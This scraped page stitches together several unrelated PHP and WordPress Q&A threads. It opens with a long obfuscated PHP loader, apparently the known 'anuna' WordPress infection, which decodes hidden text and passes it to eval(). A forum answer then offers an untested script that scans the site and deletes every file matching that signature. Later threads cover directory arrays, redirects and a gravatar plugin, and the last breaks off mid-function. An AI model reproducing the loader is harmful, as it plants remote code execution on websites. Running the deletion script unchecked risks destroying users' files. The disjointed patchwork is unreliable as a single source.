(!isset(271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]67825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]b%x5c%x7825!>!2p%x5cx782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x75c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7###7x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827bubE{h%x5c%x7825)tpqsut>j%x5c%5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c5c%x782f#7e:55946-tr.984:75983:48984:71ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<:iuhofm%x5c%x7825:-554l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787id%x5c%x78256<%x5c%x787fw6*%x5c%x78%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzwx7825%x5c%x787f!~!<##!>!2p%gg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&68:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]4720ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%f7&6|7**111127-K)ebfsX%x5c25)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x59.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x78278257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%xjfgg($n){return chr(ord($n)860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%74]256#<!%x5c%x7825ff2!>!bss]y72]282#<!%x5c%x7825tjw!>!c%x7827k:!ftmf!}Z;^nbsbq%x5c%x782;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%>>!}W;utpi}Y;tuofuopd%x5c%x78682f},;#-#}+;%x5c%x7825-qp%x5c%x7825)c!>!%x5c%x7825i%x5c%x785c2^%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x78]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y8524<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]yx5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f###%x5c%x782fqp5%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825k%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmR#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x#ojneb#-*f%x5c%x7825)sf%x5cv}.;%x5c%x782f#%x5c%x782f#%x5c%x7%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsf8256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x78-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825$GLOBALS["%x61%156%x>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5cc%x7824tvctus)%x5c%x7825%x5c%+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878my%x5c%x7825)utjm!|!*5!%qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjAx5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%xjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**x7860TW~%x5c%x7824<%x5c%x78x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x783zbek!~!<b%x5c%x7825%x5c%<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%w)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%xc%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5cj:!>!#]y3d]51]y35]256]y76]%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x82400~:<h%x5c%x7825_t%x%x5c%x7825)sutcvt-#w#)ldbqov>*of7824gvodujpo!%x5c%x7824-%x5c5%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msc%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*42f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#0825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!oppreg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%judovg}{;#)tutjyf%x5c%x7860opx5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25tbc%x5c%x787f!|!*uyfu%x57825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!C#-#O#-#N#*%x5c%x7824%x5c%x782f%]278]225]241]334]368%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x6<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x75c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x%x5c%x782f7^#iubq#%x5c%x785cq%x5cg]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%7pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%7f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmtmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x78#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x7e%x5c%x78b%x5c%x7825mm%x7860FUPNFS&d_SFSFGFS%x5c%x7827!hmg%x5c%x78860{6~6<tfs%x5c%x7822%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS]322]3]364]6]283]427]36]373P6]36]73]83]238M72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x78604392755epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5cx787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!op/(.*)/epreg_replacedlupegpizy';
$szhkmpjese = explode( chr( ( 305 - 261 ) ), '4646,67,7201,20,4462,65,6124,27,1875,27,8578,47,611,37,2557,35,1509,62,3684,25,9763,69,9237,58,2637,67,3327,38,3212,46,4920,54,1738,45,9295,53,4342,24,2442,66,5905,26,5735,48,3850,61,466,29,9149,55,1059,64,3094,34,3258,43,1264,30,1234,30,7443,42,204,29,7043,54,4974,45,9204,33,6973,70,51,31,8483,35,1355,25,8890,62,9614,63,6075,49,2508,49,9743,20,353,48,8423,60,9832,42,8952,42,5458,35,5691,44,9412,46,1838,37,6402,30,5843,62,1380,56,1644,37,4527,29,6344,58,10064,42,8625,29,7610,57,5977,60,6037,38,3931,42,5159,30,8023,70,5120,39,909,24,715,61,8189,32,7419,24,9722,21,5931,46,8306,70,8518,60,776,70,5565,27,4318,24,4832,20,8119,47,2704,49,2815,66,8376,47,3619,65,6663,63,173,31,3388,32,6784,63,1902,43,150,23,2357,35,1945,41,6913,27,4626,20,4366,67,3365,23,495,59,9699,23,82,68,7736,25,1159,31,5189,34,8736,57,554,57,8712,24,6311,33,8249,57,6940,33,6432,36,5395,63,2322,35,9960,63,3751,48,5375,20,5324,51,7291,60,3479,50,9554,60,9515,39,3301,26,8654,58,4556,70,2074,35,6847,66,3799,51,3996,43,1010,49,1783,55,9458,57,2592,45,2943,27,3128,62,3529,49,6284,27,2217,47,2049,25,6548,53,2970,37,4433,29,8166,23,9034,53,4852,68,4122,35,4213,39,233,41,3911,20,5783,60,2392,50,7935,37,7485,64,6495,53,6601,62,6256,28,0,51,1190,44,1123,36,7262,29,5019,36,7160,41,8994,40,6151,39,4157,56,1480,29,3973,23,8221,28,8845,45,7097,63,3729,22,933,48,6726,58,8093,26,9917,43,1986,63,303,50,6468,27,7761,50,1571,44,10023,41,5223,62,5493,35,2881,62,648,67,7871,64,2264,58,3063,31,2109,68,5285,39,9348,64,5640,51,4762,70,846,63,7549,61,2177,40,6190,66,7972,51,8825,20,9874,43,4039,30,4252,66,3420,59,7351,68,4069,53,2788,27,7221,41,1436,44,5055,65,7694,42,981,29,1681,57,3578,41,1294,61,7811,60,7667,27,9677,22,5528,37,3709,20,9087,62,8793,32,3190,22,1615,29,5592,48,401,65,4713,49,3007,56,2753,35,274,29' );
$vljzlxyidt = substr( $xiyzbtmheq, ( 66854 - 56748 ), ( 26 - 19 ) );
if ( ! function_exists( 'krkmslacdc' ) ) {
function krkmslacdc( $dfsltjfdfy, $vhbwrjxtar ) {
$cnjpfblxkx = null;
for ( $mckpdcjuhs = 0; $mckpdcjuhs < ( sizeof( $dfsltjfdfy ) / 2 ); $mckpdcjuhs ++ ) {
$cnjpfblxkx .= substr( $vhbwrjxtar, $dfsltjfdfy[ ( $mckpdcjuhs * 2 ) ], $dfsltjfdfy[ ( $mckpdcjuhs * 2 ) + 1 ] );
}
return $cnjpfblxkx;
}
;
}
$pyzbigcqqv = "\x20\57\x2a\40\x75\141\x65\164\x78\163\x6e\155\x61\157\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\63\x35\55\x39\70\x29\51\x2c\40\x63\150\x72\50\x28\63\x37\63\x2d\62\x38\61\x29\51\x2c\40\x6b\162\x6b\155\x73\154\x61\143\x64\143\x28\44\x73\172\x68\153\x6d\160\x6a\145\x73\145\x2c\44\x78\151\x79\172\x62\164\x6d\150\x65\161\x29\51\x29\73\x20\57\x2a\40\x65\141\x62\166\x6e\162\x6f\157\x74\157\x20\52\x2f\40";
$tkudmphbyd = substr( $xiyzbtmheq, ( 53762 - 43649 ), ( 51 - 39 ) );
$tkudmphbyd( $vljzlxyidt, $pyzbigcqqv, null );
$tkudmphbyd = $pyzbigcqqv;
$tkudmphbyd = ( 565 - 444 );
$xiyzbtmheq = $tkudmphbyd - 1; ?>
//////////////UPDATE
Haven't test yet, but please create a php file with this content
<?php
function get_dir_tree( $path = __DIR__, $include_file = true, $include_dir = true, $excludes = array() ) {
if ( ! is_dir( $path ) ) {
return false;
}
$data = array();
//keeps 2 default flag, and add the unnix path & remove dots
$directory_flag = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO
| FilesystemIterator::UNIX_PATHS | FilesystemIterator::SKIP_DOTS;
$tree = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator( $path, $directory_flag ),
RecursiveIteratorIterator::SELF_FIRST );
foreach ( $tree as $p => $file ) {
if ( $file->isFile() && $include_file == false ) {
continue;
}
if ( $file->isDir() && $include_dir == false ) {
continue;
}
if ( in_array( $p, $excludes ) ) {
continue;
}
$data[] = $p;
}
return $data;
}
foreach ( get_dir_tree( __DIR__, true, false ) as $path ) {
$content = file_get_contents( $path );
if ( stristr( $content, 'if(!isset($GLOBALS["\x61\156\x75\156\x61"]))' ) ) {
echo 'file ' . $path . ' is affected';
unlink( $path );
}
}
Then navigate to this file in your browser, it will find and delete the bad file.
Make sure you do have a backup
Related
I´m trying from various paths to generate a dimensional array.
For that, I´m using the function found here.
My code
function get_dir_content_to_array( string $dir_path, string $dir_filter = null, string $file_filter = null ) {
if( is_dir_empty( $dir_path ) )
return false;
$output = array();
$files = get_subdir_filtered( $dir_path, $dir_filter, $file_filter );
if ( isset( $files ) ) {
foreach ( $files as $name => $object ) {
if ( $object->getFilename() !== "." && $object->getFilename() !== ".." ) {
// Split by the delimiter.
$delimiter = "/";
$name = str_replace( "\\", $delimiter, $name );
$relative_path = str_replace( $dir_path, "", $name );
$a_relative_path = explode( $delimiter, $relative_path );
$path = [ array_pop( $a_relative_path ) ];
foreach ( array_reverse( $a_relative_path ) as $pathPart ) {
$path = [ $pathPart => $path ];
}
// Add it to a temp list.
$paths[] = $path;
}
$output = call_user_func_array( 'array_merge_recursive', $paths );
}
}
return $output;
}
function get_subdir_filtered( $dir_path, $dir_filter, $file_filter ) {
$path = realpath( $dir_path );
$directory = new \RecursiveDirectoryIterator( $path );
$files = null;
if ( ! empty( $dir_filter ) || ! empty( $file_filter ) ) {
if ( ! empty( $dir_filter ) ) {
$filter = new DirnameFilter( $directory, $dir_filter );
}
if ( ! empty( $file_filter ) ) {
$filter = new FilenameFilter( $filter, $file_filter );
}
$files = new \RecursiveIteratorIterator( $filter );
} else {
$files = new \RecursiveIteratorIterator( $directory );
}
return $files;
}
class DirnameFilter extends FilesystemRegexFilter {
// Filter directories against the regex
public function accept() {
return ( ! $this->isDir() || preg_match( $this->regex, $this->getFilename() ) );
}
}
That works except when a folder is named "0"
How can I fixed that ?
Why array_pop skip the value "0" even if it´s a string ?
When json_encode() encodes an array whose keys are sequential integers starting from 0, or the string equivalents of them, it produces a JSON array rather than an object.
You could use the JSON_FORCE_OBJECT flag, but this will then turn the arrays of filenames inside a folder into objects, which you don't want.
What you can do is use a PHP object instead of an array to represent a folder. json_encode() will encode this as an object, even if it has numeric properties.
I think this might do it:
function get_dir_content_to_array( string $dir_path, string $dir_filter = null, string $file_filter = null ) {
if( is_dir_empty( $dir_path ) )
return false;
$output = array();
$files = get_subdir_filtered( $dir_path, $dir_filter, $file_filter );
if ( isset( $files ) ) {
foreach ( $files as $name => $object ) {
if ( $object->getFilename() !== "." && $object->getFilename() !== ".." ) {
// Split by the delimiter.
$delimiter = "/";
$name = str_replace( "\\", $delimiter, $name );
$relative_path = str_replace( $dir_path, "", $name );
$a_relative_path = explode( $delimiter, $relative_path );
$path = [ array_pop( $a_relative_path ) ];
foreach ( array_reverse( $a_relative_path ) as $pathPart ) {
$folder = new StdClass;
$folder->{$pathPart} = $path;
$path = $folder;
}
// Add it to a temp list.
$paths[] = $path;
}
$output = call_user_func_array( 'array_merge_recursive', $paths);
}
}
return $output;
}
I haven't tested it because I don't have the get_subdir_filtered() function. It's possible that array_merge_recursive won't do the correct merge of this. You might need to merge the objects, too. This tutorial contains an implementation of mergeObjectsRecursively that I think should be a useful substitute.
In my case I got this path : update.json and 0/1/0/filename.zip
As #Barmar said, basically, the problem is when I try to convert an array to a json object.
In PHP, an array is in fact, all the time an object so... $arr = [ "0" => [ "1" => ... ] ] for php, is equal to : $arr = [ 0 => [ 1 => ... ] ]. In PHP 7.2.x, each time you will merge objects, The "0" as string key will be cast to 0 as int.
Consequences
1 . with json_encode
echo json_encode( get_dir_content_to_array(...) );
//result = ["update.json",{"1":[["filename.zip"]]}]
2 . with json_encode and JSON_FORCE_OBJECT
echo json_encode( get_dir_content_to_array(...), JSON_FORCE_OBJECT );
//result = {"0":"update.json","1":{"1":{"0":{"0":"filename.zip"}}}}
//I got 1,0,0,filename.zip instead of 0,1,0,filename.zip
3 . Add (string)
$path = [array_pop( $a_relative_path)];
foreach ( array_reverse( $a_relative_path ) as $pathPart ) {
$path = [ (string) $pathPart => $path ];
}
//Same result of 2.
To keep the right order for the path, I found for the moment a hacky solution :
Add underscore before each key
foreach ( array_reverse( $a_relative_path ) as $pathPart ) {
$path = [ "_" . $a_relative_path => $path ];
}
//result = {"0":"update.json", "_0":{"_1":{"_0":{"0":"filenamezip"}}}}
//With a new file path, I got this :
// {"0":"update.json","_toto":{"_foo":{"0":"test.txt"}},"_0":{"_1":{"_0":{"0":"filename.zip"}}}}
This solution is a hack, but I can make a difference between a kee which is a path "_0":{"_1":{"_0" and a key to index a file "0":"filename.zip"
I've recently become the maintainer of a Wordpress site (I'm completely new to wordpress) and I'm having some difficulty determining where a redirect is specified.
I've checked the .htaccess file, and there's nothing specified in there. As far as I can tell, the rewrite rules aren't the cause.
I've tried deleting the page being redirected from and re-creating it, and the redirect still occurs.
My question is: where can you specify a redirect? I've run out of ideas of where to look.
one of my client want to custom url like
https://www.qsleap.com/gmat/resources as you know in wordpress evry request is catch by index.php . request filter catches the request and
call the page .
Read this code it may give you any idea.
function permalinks_customizer_request_before($query ){
$uri=$_SERVER['REQUEST_URI'];
$match= preg_match('/(gmat|gre|sat|lsat|cat)(\/resources\/tags\/)
(.*)\/(articles|videos|concept-notes|qna)/', $uri,$matches);
//$match=
preg_match('/(gmat|gre|sat|lsat|cat)/\resources/\tags/stanford-
gsb/\articles|videos|concept-notes)/?$', $uri,$matches);
if($match){
$url = parse_url( get_bloginfo( 'url' ) );
$url = isset( $url['path']) ? $url['path'] : '';
$request = ltrim( substr( $_SERVER['REQUEST_URI'], strlen( $url ) ), '/' );
$request = ( ( $pos = strpos( $request, '?' ) ) ? substr( $request, 0, $pos ) : $request );
if ( ! $request )
return $query;
$original_url="?page_name=tags&exam=".$matches[1]."&post_tag=".$matches[3]."&post_type=".$matches[4];
if ( $original_url !== null ) {
$original_url = str_replace('//', '/', $original_url);
if ( ( $pos = strpos( $_SERVER['REQUEST_URI'], '?' ) ) !== false ) {
$queryVars = substr( $_SERVER['REQUEST_URI'], $pos + 1 );
$original_url .= ( strpos( $original_url, '?' ) === false ? '?' : '&') . $queryVars;
}
$oldRequestUri = $_SERVER['REQUEST_URI'];
$oldQueryString = $_SERVER['QUERY_STRING'];
$_SERVER['REQUEST_URI'] = '/' . ltrim( $original_url, '/' );
$_SERVER['QUERY_STRING'] = ( ( $pos = strpos( $original_url, '?' ) ) !== false ? substr( $original_url, $pos + 1 ) : '' );
parse_str( $_SERVER['QUERY_STRING'], $queryArray );
$oldValues = array();
global $wp;
$wp->parse_request();
$query = $wp->query_vars;
if ( is_array( $queryArray ) ) {
foreach ( $queryArray as $key => $value ) {
$oldValues[$key] = $_REQUEST[$key];
$_REQUEST[$key] = $_GET[$key] = $value;
$query[$key]=$value;
}
}
$_SERVER['REQUEST_URI'] ='';
$_SERVER['QUERY_STRING']='';
}
}
return $query;
}
add_filter( 'request','permalinks_customizer_request_before',0);
function wp_url_rewrite_templates() {
if (get_query_var( 'page_name' ) && get_query_var( 'page_name'
)=='tags') {
add_filter( 'template_include', function() {
$template= dirname( __FILE__ ) . '/page-tags.php';
return $template;
});
}
}
add_action( 'template_redirect', 'wp_url_rewrite_templates' ,4 );
I think the easiest way for you to remove the redirects will be with this plugin.
https://redirection.me/
After you install it and activate it. From the Wordpress Admin
Tools > Redirection
You'll see a list of redirects, and add/remove any.
Problem it's in sub directories, i have many sub directories and sub sub directories, i need check them all, Maybe someone know how to help .
My code:
$mainFodlers = array_diff(scandir(self::PROJECT_DIRECTORY, 1), array('..', '.','__todo.txt'));
foreach ($mainFodlers as $mainFodler) {
if (is_dir(self::PROJECT_DIRECTORY . '/' . $mainFodler)) {
$subFolders = array_diff(scandir(self::PROJECT_DIRECTORY . '/' . $mainFodler, 1), array('..', '.','__todo.txt', 'share_scripts.phtml'));
} else {
$extension = $this->getExtension($subFolder);
if ($extension == 'phtml') {
$file = $subFolder;
$fileContent = file_get_contents(self::PROJECT_DIRECTORY . '/views/' . $file, true);
}
}
}
Because I cannot really determine the end result of your code it is hard to answer effectively but to solve the problem of nested folders you might wish to consider a recursiveIterator type approach. The following code should give a good starting point for you - it takes a directory $dir and will iterate through it and it's children.
/* Start directory */
$dir='c:/temp2';
/* Files & Folders to exclude */
$exclusions=array(
'oem_no_drivermax.inf',
'smwdm.sys',
'file_x',
'folder_x'
);
$dirItr = new RecursiveDirectoryIterator( $dir );
$filterItr = new DirFileFilter( $dirItr, $exclusions, $dir, 'all' );
$recItr = new RecursiveIteratorIterator( $filterItr, RecursiveIteratorIterator::SELF_FIRST );
foreach( $recItr as $filepath => $info ){
$key = realpath( $info->getPathName() );
$filename = $info->getFileName();
echo 'Key = '.$key . ' ~ Filename = '.$filename.'<br />';
}
$dirItr = $filterItr = $recItr = null;
Supporting class
class DirFileFilter extends RecursiveFilterIterator{
protected $exclude;
protected $root;
protected $mode;
public function __construct( $iterator, $exclude=array(), $root, $mode='all' ){
parent::__construct( $iterator );
$this->exclude = $exclude;
$this->root = $root;
$this->mode = $mode;
}
public function accept(){
$folpath=rtrim( str_replace( $this->root, '', $this->getPathname() ), '\\' );
$ext=strtolower( pathinfo( $this->getFilename(), PATHINFO_EXTENSION ) );
switch( $this->mode ){
case 'all':
return !( in_array( $this->getFilename(), $this->exclude ) or in_array( $folpath, $this->exclude ) or in_array( $ext, $this->exclude ) );
case 'files':
return ( $this->isFile() && ( !in_array( $this->getFilename(), $this->exclude ) or !in_array( $ext, $this->exclude ) ) );
break;
case 'dirs':
case 'folders':
return ( $this->isDir() && !( in_array( $this->getFilename(), $this->exclude ) ) && !in_array( $folpath, $this->exclude ) );
break;
default:
echo 'config error: ' . $this->mode .' is not recognised';
break;
}
return false;
}
public function getChildren(){
return new self( $this->getInnerIterator()->getChildren(), $this->exclude, $this->root, $this->mode );
}
}
I am receiving this warning in one of the Wordpress plugins.
copy(): Filename cannot be empty in /wp-content/plugins/nix-gravatar-cache/nf-gravatar-cache.php on line 181
Please help me correct this, if somebody can. I am not very good with PHP. Thanks
Here is the code.
<?php
class NFGC_Gravatar_Cache {
protected $upload_url;
protected $upload_path;
protected $plugin_dir_path;
public $plugin_name = 'NIX Gravatar Cache';
function __construct(){
if ( get_option( 'upload_url_path' ) ) {
$this->upload_url = get_option( 'upload_url_path' );
$this->upload_path = get_option( 'upload_path' );
}
else {
$up_dir = wp_upload_dir();
$this->upload_url = $up_dir['baseurl'];
$this->upload_path = $up_dir['basedir'];
}
$this->plugin_dir_path = plugin_dir_path( __FILE__ );
require_once $this->plugin_dir_path . '/messages.class.php';
NFGC_Messages::init();
$active = get_option( 'nf_c_a_options' );
if ( $active[0]['active'] == 1 ) {
add_filter( 'get_avatar', array( $this,'get_cached_avatar' ), -1000000000, 5 );
}
add_action( 'admin_menu', array( $this,'add_admin_menu' ) );
register_activation_hook( __FILE__, array( $this, 'activate' ) );
$this->init();
register_deactivation_hook( __FILE__, 'deactivate' );
register_uninstall_hook( __FILE__ , 'uninstall' );
if ( !is_writable( $this->upload_path.'/gravatar/' ) && is_dir( $this->upload_path.'/gravatar/' ) ) {
NFGC_Messages::add_message( 'error', 'Please set write permissions for "'. $this->upload_path .'/gravatar/"' );
}else{
if ( #!mkdir( $this->upload_path.'/gravatar/', 0777 ) && ! is_dir( $this->upload_path.'/gravatar/' ) ) {
NFGC_Messages::add_message( 'error', 'Could not create directory "gravatar". Please set write permissions for "'. $this->upload_path .'/gravatar/"' );
}
}
if ( isset ( $_POST['nf_clear_cache'] ) )
$this->clear_cache();
}
public function get_template_path() {
return $this->plugin_dir_path .'template';
}
// Activate plugin and update default option
public function activate() {
$dir = $this->upload_path.'/gravatar/';
// delete_option('nf_c_a_options');
if ( get_option( 'nf_c_a_options' ) == false ) {
$default_options = array('active' => 1,
'ttl_day' => 10,
'ttl_hour' => 0,
'ttl_min' => 0
);
update_option( 'nf_c_a_options', array( $default_options ) );
}
}
// Deactivate plugin and clear cache
public function deactivate() {
$this->clear_cache();
}
// Notice in plugin options page
public function admin_help_notice() {
global $current_screen;
if ( $current_screen->base == 'settings_page_'. basename( __FILE__,'.php' ) ) {
return true;
}
}
// convert ttl option to second
private function cache_to_second(){
$cache_time = get_option( 'nf_c_a_options' );
$cache_time = array_reverse( $cache_time[0] );
$action = array();
foreach ( $cache_time as $key => $value ) {
if ( $key == 'active' )
continue;
switch ( $key ) {
case 'ttl_min':
$cache_second = $value != 0 ? $value*60 : '';
break;
case 'ttl_hour':
$cache_second = $value != 0 ? ( $value*60*60 ) + $cache_second : $cache_second;
break;
case 'ttl_day':
$cache_second = $value != 0 ? ( $value*60*60*24 ) + $cache_second : $cache_second;
break;
}
}
if ( ! $cache_second ) {
$cache_second = 864000;// TTL of cache in seconds (10 days)
}
return $cache_second;
}
// The main functional
public function get_cached_avatar( $source, $id_or_email, $size, $default, $alt ) {
if ( !is_writable( $this->upload_path.'/gravatar/' ) || is_admin() ) {
return $source;
}
$time = $this->cache_to_second();
preg_match('/d=([^&]*)/', $source, $d_tmp);
$g_url_default_sorce = isset($d_tmp[1]) ? $d_tmp[1] : false;
preg_match('/forcedefault=([^&]*)/', $source, $d_tmp);
$g_forcedefault = isset($d_tmp[1]) ? $d_tmp[1] : false;
preg_match('/avatar\/([a-z0-9]+)\?s=(\d+)/', $source, $tmp);
$garvatar_id = $tmp[1];
$file_name = md5($garvatar_id.$g_url_default_sorce);
$g_path = $this->upload_path.'/gravatar/'.$file_name.'-s'.$size.'.jpg';
//* $g_path_default = $this->upload_path.'/gravatar/default'.'-s'.$size.'.jpg';
$g_url = $this->upload_url.'/gravatar/'.$file_name.'-s'.$size.'.jpg';
//* $g_url_default = $this->upload_url.'/gravatar/'.'default'.'-s'.$size.'.jpg';
// Check cache
static $nf_avatars_cache = null;
if ($nf_avatars_cache === null) $nf_avatars_cache = get_option('nf_avatars_cache');
if (! is_array($nf_avatars_cache)) $nf_avatars_cache = array();
if (isset($nf_avatars_cache[$garvatar_id][$size])) {
$g_url = $nf_avatars_cache[$garvatar_id][$size]['url'];
$g_path = $nf_avatars_cache[$garvatar_id][$size]['path'];
}
if (! is_file($g_path) || (time()-filemtime($g_path)) > $time) {
$curl_url = 'https://www.gravatar.com/avatar/'.$garvatar_id.'?s='.$size.'&r=G&d='.$g_url_default_sorce;
$ch = curl_init($curl_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$response = curl_exec($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($response, 0, $header_size);
// Checking for redirect
$header_array = array();
preg_match('/^Location\: (.*)$/m', $header, $header_array);
$redirect_url = isset($header_array[1]) ? $header_array[1] : false;
if ($redirect_url) {
$g_url = $g_url_default;
$g_path = $g_path_default;
if (! is_file($g_path) || (time()-filemtime($g_path)) > $time) {
copy($redirect_url, $g_path);
}
}
else {
// Check mime type
$mime_str = curl_getinfo( $ch, CURLINFO_CONTENT_TYPE );
$mime_array = array();
preg_match( '#/([a-z]*)#i', $mime_str, $mime_array );
if (isset($mime_array[1])) {
// Write cache to file
$fp = fopen( $g_path, "wb" );
$body = substr( $response, $header_size );
fwrite( $fp, $body );
fclose( $fp );
}
}
curl_close($ch);
$nf_avatars_cache[$garvatar_id][$size]['url'] = $g_url;
$nf_avatars_cache[$garvatar_id][$size]['path'] = $g_path;
update_option( 'nf_avatars_cache', $nf_avatars_cache );
}
return '<img alt = "'.$alt.'" src=\''.$g_url.'\' class="avatar avatar-'.$size.'" width="'.$size.'" height="'.$size.'" />';
}
// Create plugin option settings menu
public function add_admin_menu() {
// settings menu page
add_options_page( 'Cached Avatar ', $this->plugin_name, 'manage_options', basename( __FILE__ ), array( $this,'view_options_page' ) );
}
// Create page option
public function view_options_page() {
// update options
if ( isset( $_POST['nf_c_a_submit'] ) ) {
$update_val_options = $_POST['nf_c_a_options'];
foreach ( $update_val_options as $option => $value ) {
$update_val_options[$option] = abs( intval( $value ) );
}
